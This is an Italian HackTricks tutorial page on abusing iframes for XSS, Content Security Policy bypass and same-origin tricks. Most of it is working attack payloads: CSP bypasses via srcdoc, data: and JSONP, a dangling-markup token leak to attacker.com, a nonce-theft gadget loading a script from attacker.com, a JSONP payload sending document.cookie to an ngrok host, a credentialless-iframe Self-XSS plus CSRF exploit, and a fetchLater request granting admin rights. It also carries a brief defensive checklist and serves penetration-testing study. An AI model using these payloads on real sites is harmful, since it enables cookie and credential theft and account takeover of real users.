Iframes in XSS, CSP e SOP
Reading time: 12 minutes
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.
Iframes in XSS
Ci sono 3 modi per indicare il contenuto di una pagina iframed:
- Tramite
src
che indica un URL (l'URL può essere cross origin o same origin) - Tramite
src
che indica il contenuto utilizzando il protocollodata:
- Tramite
srcdoc
che indica il contenuto
Accesso a variabili Parent & Child
<html>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe id="if2" src="child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
<script>
function access_children_vars() {
alert(if1.secret)
alert(if2.secret)
alert(if3.secret)
alert(if4.secret)
}
setTimeout(access_children_vars, 3000)
</script>
</html>
<!-- content of child.html -->
<script>
var secret = "child secret"
alert(parent.secret)
</script>
Se accedi all'html precedente tramite un server http (come python3 -m http.server
), noterai che tutti gli script verranno eseguiti (poiché non c'è CSP che lo impedisca). il genitore non sarà in grado di accedere alla variabile secret
all'interno di qualsiasi iframe e solo gli iframe if2 e if3 (che sono considerati dello stesso sito) possono accedere al segreto nella finestra originale.
Nota come if4 è considerato avere origine null
.
Iframes con CSP
tip
Si prega di notare come nei seguenti bypass la risposta alla pagina incapsulata non contenga alcun header CSP che impedisca l'esecuzione di JS.
Il valore self
di script-src
non permetterà l'esecuzione del codice JS utilizzando il protocollo data:
o l'attributo srcdoc
.
Tuttavia, anche il valore none
della CSP permetterà l'esecuzione degli iframe che mettono un URL (completo o solo il percorso) nell'attributo src
.
Pertanto, è possibile bypassare la CSP di una pagina con:
<html>
<head>
<meta
http-equiv="Content-Security-Policy"
content="script-src 'sha256-iF/bMbiFXal+AAl9tF8N6+KagNWdMlnhLqWkjAocLsk'" />
</head>
<script>
var secret = "31337s3cr37t"
</script>
<iframe id="if1" src="child.html"></iframe>
<iframe id="if2" src="http://127.0.1.1:8000/child.html"></iframe>
<iframe
id="if3"
srcdoc="<script>var secret='if3 secret!'; alert(parent.secret)</script>"></iframe>
<iframe
id="if4"
src="data:text/html;charset=utf-8,%3Cscript%3Evar%20secret='if4%20secret!';alert(parent.secret)%3C%2Fscript%3E"></iframe>
</html>
Nota come il precedente CSP consente solo l'esecuzione dello script inline.
Tuttavia, solo gli script if1
e if2
verranno eseguiti, ma solo if1
sarà in grado di accedere al segreto del genitore.
Pertanto, è possibile bypassare un CSP se puoi caricare un file JS sul server e caricarlo tramite iframe anche con script-src 'none'
. Questo può potenzialmente essere fatto anche abusando di un endpoint JSONP same-site.
Puoi testare questo con il seguente scenario in cui un cookie viene rubato anche con script-src 'none'
. Basta eseguire l'applicazione e accedervi con il tuo browser:
import flask
from flask import Flask
app = Flask(__name__)
@app.route("/")
def index():
resp = flask.Response('<html><iframe id="if1" src="cookie_s.html"></iframe></html>')
resp.headers['Content-Security-Policy'] = "script-src 'self'"
resp.headers['Set-Cookie'] = 'secret=THISISMYSECRET'
return resp
@app.route("/cookie_s.html")
def cookie_s():
return "<script>alert(document.cookie)</script>"
if __name__ == "__main__":
app.run()
Nuove tecniche di bypass CSP (2023-2025) con iframes
La comunità di ricerca continua a scoprire modi creativi per abusare degli iframes per sconfiggere politiche restrittive. Di seguito puoi trovare le tecniche più note pubblicate negli ultimi anni:
- Dangling-markup / named-iframe data-exfiltration (PortSwigger 2023) – Quando un'applicazione riflette HTML ma una forte CSP blocca l'esecuzione degli script, puoi comunque leakare token sensibili iniettando un attributo
<iframe name>
dangling. Una volta che il markup parziale è analizzato, lo script dell'attaccante in esecuzione in un'origine separata naviga il frame versoabout:blank
e leggewindow.name
, che ora contiene tutto fino al prossimo carattere di citazione (ad esempio un token CSRF). Poiché nessun JavaScript viene eseguito nel contesto della vittima, l'attacco di solito eludescript-src 'none'
. Un PoC minimo è:
<!-- Punto di iniezione appena prima di un <script> sensibile -->
<iframe name="//attacker.com/?"> <!-- attributo intenzionalmente lasciato aperto -->
// frame attacker.com
const victim = window.frames[0];
victim.location = 'about:blank';
console.log(victim.name); // → valore leakato
- Furto di nonce tramite iframe same-origin (2024) – I nonce CSP non vengono rimossi dal DOM; sono semplicemente nascosti in DevTools. Se un attaccante può iniettare un iframe same-origin (ad esempio caricando HTML sul sito) il frame figlio può semplicemente interrogare
document.querySelector('[nonce]').nonce
e creare nuovi nodi<script nonce>
che soddisfano la politica, dando piena esecuzione di JavaScript nonostantestrict-dynamic
. Il seguente gadget escalates un'iniezione di markup in XSS:
const n = top.document.querySelector('[nonce]').nonce;
const s = top.document.createElement('script');
s.src = '//attacker.com/pwn.js';
s.nonce = n;
top.document.body.appendChild(s);
- Hijacking dell'azione del modulo (PortSwigger 2024) – Una pagina che omette la direttiva
form-action
può avere il suo modulo di login re-targeted da un iframe iniettato o HTML inline in modo che i gestori di password compilino automaticamente e inviino le credenziali a un dominio esterno, anche quando è presentescript-src 'none'
. Completa sempredefault-src
conform-action
!
Note difensive (checklist rapida)
- Invia sempre tutte le direttive CSP che controllano contesti secondari (
form-action
,frame-src
,child-src
,object-src
, ecc.). - Non fare affidamento sul fatto che i nonce siano segreti—usa
strict-dynamic
e elimina i punti di iniezione. - Quando devi incorporare documenti non fidati usa
sandbox="allow-scripts allow-same-origin"
molto attentamente (o senzaallow-same-origin
se hai solo bisogno di isolamento dell'esecuzione degli script). - Considera un'implementazione di difesa in profondità COOP+COEP; il nuovo attributo
<iframe credentialless>
(§ sotto) ti consente di farlo senza rompere gli embed di terze parti.
Altri payload trovati nel wild
<!-- This one requires the data: scheme to be allowed -->
<iframe
srcdoc='<script src="data:text/javascript,alert(document.domain)"></script>'></iframe>
<!-- This one injects JS in a jsonp endppoint -->
<iframe srcdoc='
<script src="/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
<!-- sometimes it can be achieved using defer& async attributes of script within iframe (most of the time in new browser due to SOP it fails but who knows when you are lucky?)-->
<iframe
src='data:text/html,<script defer="true" src="data:text/javascript,document.body.innerText=/hello/"></script>'></iframe>
Iframe sandbox
Il contenuto all'interno di un iframe può essere soggetto a restrizioni aggiuntive tramite l'uso dell'attributo sandbox
. Per impostazione predefinita, questo attributo non è applicato, il che significa che non ci sono restrizioni in atto.
Quando utilizzato, l'attributo sandbox
impone diverse limitazioni:
- Il contenuto è trattato come se provenisse da una fonte unica.
- Qualsiasi tentativo di inviare moduli è bloccato.
- L'esecuzione di script è vietata.
- L'accesso a determinate API è disabilitato.
- Impedisce ai link di interagire con altri contesti di navigazione.
- L'uso di plugin tramite
<embed>
,<object>
,<applet>
, o tag simili è vietato. - La navigazione del contesto di navigazione di livello superiore del contenuto da parte del contenuto stesso è impedita.
- Funzionalità che vengono attivate automaticamente, come la riproduzione video o il focus automatico sui controlli del modulo, sono bloccate.
Tip: I browser moderni supportano flag granulari come allow-scripts
, allow-same-origin
, allow-top-navigation-by-user-activation
, allow-downloads-without-user-activation
, ecc. Combinali per concedere solo le capacità minime richieste dall'applicazione incorporata.
Il valore dell'attributo può essere lasciato vuoto (sandbox=""
) per applicare tutte le restrizioni sopra menzionate. In alternativa, può essere impostato su un elenco di valori specifici separati da spazi che esentano l'iframe da determinate restrizioni.
<!-- Isolated but can run JS (cannot reach parent because same-origin is NOT allowed) -->
<iframe sandbox="allow-scripts" src="demo_iframe_sandbox.htm"></iframe>
Iframe senza credenziali
Come spiegato in questo articolo, il flag credentialless
in un iframe viene utilizzato per caricare una pagina all'interno di un iframe senza inviare credenziali nella richiesta, mantenendo la stessa politica di origine (SOP) della pagina caricata nell'iframe.
Poiché Chrome 110 (febbraio 2023) la funzionalità è abilitata per impostazione predefinita e la specifica è in fase di standardizzazione tra i browser con il nome anonymous iframe. MDN la descrive come: “un meccanismo per caricare iframe di terze parti in una nuova partizione di archiviazione effimera in modo che nessun cookie, localStorage o IndexedDB venga condiviso con la vera origine”. Conseguenze per attaccanti e difensori:
- Gli script in diversi iframe senza credenziali condividono ancora la stessa origine di livello superiore e possono interagire liberamente tramite il DOM, rendendo fattibili attacchi multi-iframe di self-XSS (vedi PoC qui sotto).
- Poiché la rete è senza credenziali, qualsiasi richiesta all'interno dell'iframe si comporta effettivamente come una sessione non autenticata – gli endpoint protetti da CSRF di solito falliscono, ma le pagine pubbliche vulnerabili tramite DOM sono ancora nel campo di applicazione.
- I pop-up generati da un iframe senza credenziali ottengono un
rel="noopener"
implicito, interrompendo alcuni flussi OAuth.
// PoC: two same-origin credentialless iframes stealing cookies set by a third
window.top[1].document.cookie = 'foo=bar'; // write
alert(window.top[2].document.cookie); // read -> foo=bar
- Esempio di exploit: Self-XSS + CSRF
In questo attacco, l'attaccante prepara una pagina web malevola con 2 iframe:
- Un iframe che carica la pagina della vittima con il flag
credentialless
con un CSRF che attiva un XSS (Immagina un Self-XSS nel nome utente dell'utente):
<html>
<body>
<form action="http://victim.domain/login" method="POST">
<input type="hidden" name="username" value="attacker_username<img src=x onerror=eval(window.name)>" />
<input type="hidden" name="password" value="Super_s@fe_password" />
<input type="submit" value="Submit request" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>
- Un altro iframe che ha effettivamente l'utente connesso (senza il flag
credentialless
).
Poi, dall'XSS è possibile accedere all'altro iframe poiché hanno lo stesso SOP e rubare il cookie, ad esempio eseguendo:
alert(window.top[1].document.cookie);
fetchLater Attacco
Come indicato in questo articolo, l'API fetchLater
consente di configurare una richiesta da eseguire in un secondo momento (dopo un certo tempo). Pertanto, questo può essere abusato per, ad esempio, effettuare il login di una vittima all'interno di una sessione dell'attaccante (con Self-XSS), impostare una richiesta fetchLater
(per cambiare la password dell'utente corrente, ad esempio) e disconnettersi dalla sessione dell'attaccante. Poi, la vittima effettua il login nella propria sessione e la richiesta fetchLater
verrà eseguita, cambiando la password della vittima in quella impostata dall'attaccante.
In questo modo, anche se l'URL della vittima non può essere caricato in un iframe (a causa di CSP o altre restrizioni), l'attaccante può comunque eseguire una richiesta nella sessione della vittima.
var req = new Request("/change_rights",{method:"POST",body:JSON.stringify({username:"victim", rights: "admin"}),credentials:"include"})
const minute = 60000
let arr = [minute, minute * 60, minute * 60 * 24, ...]
for (let timeout of arr)
fetchLater(req,{activateAfter: timeout})
Iframes in SOP
Controlla le seguenti pagine:
Bypassing SOP with Iframes - 1
Bypassing SOP with Iframes - 2
Blocking main page to steal postmessage
Steal postmessage modifying iframe location
Riferimenti
- PortSwigger Research – Using form hijacking to bypass CSP (March 2024)
- Chrome Developers – Iframe credentialless: Easily embed iframes in COEP environments (Feb 2023)
tip
Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Impara e pratica il hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporta HackTricks
- Controlla i piani di abbonamento!
- Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.
- Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos github.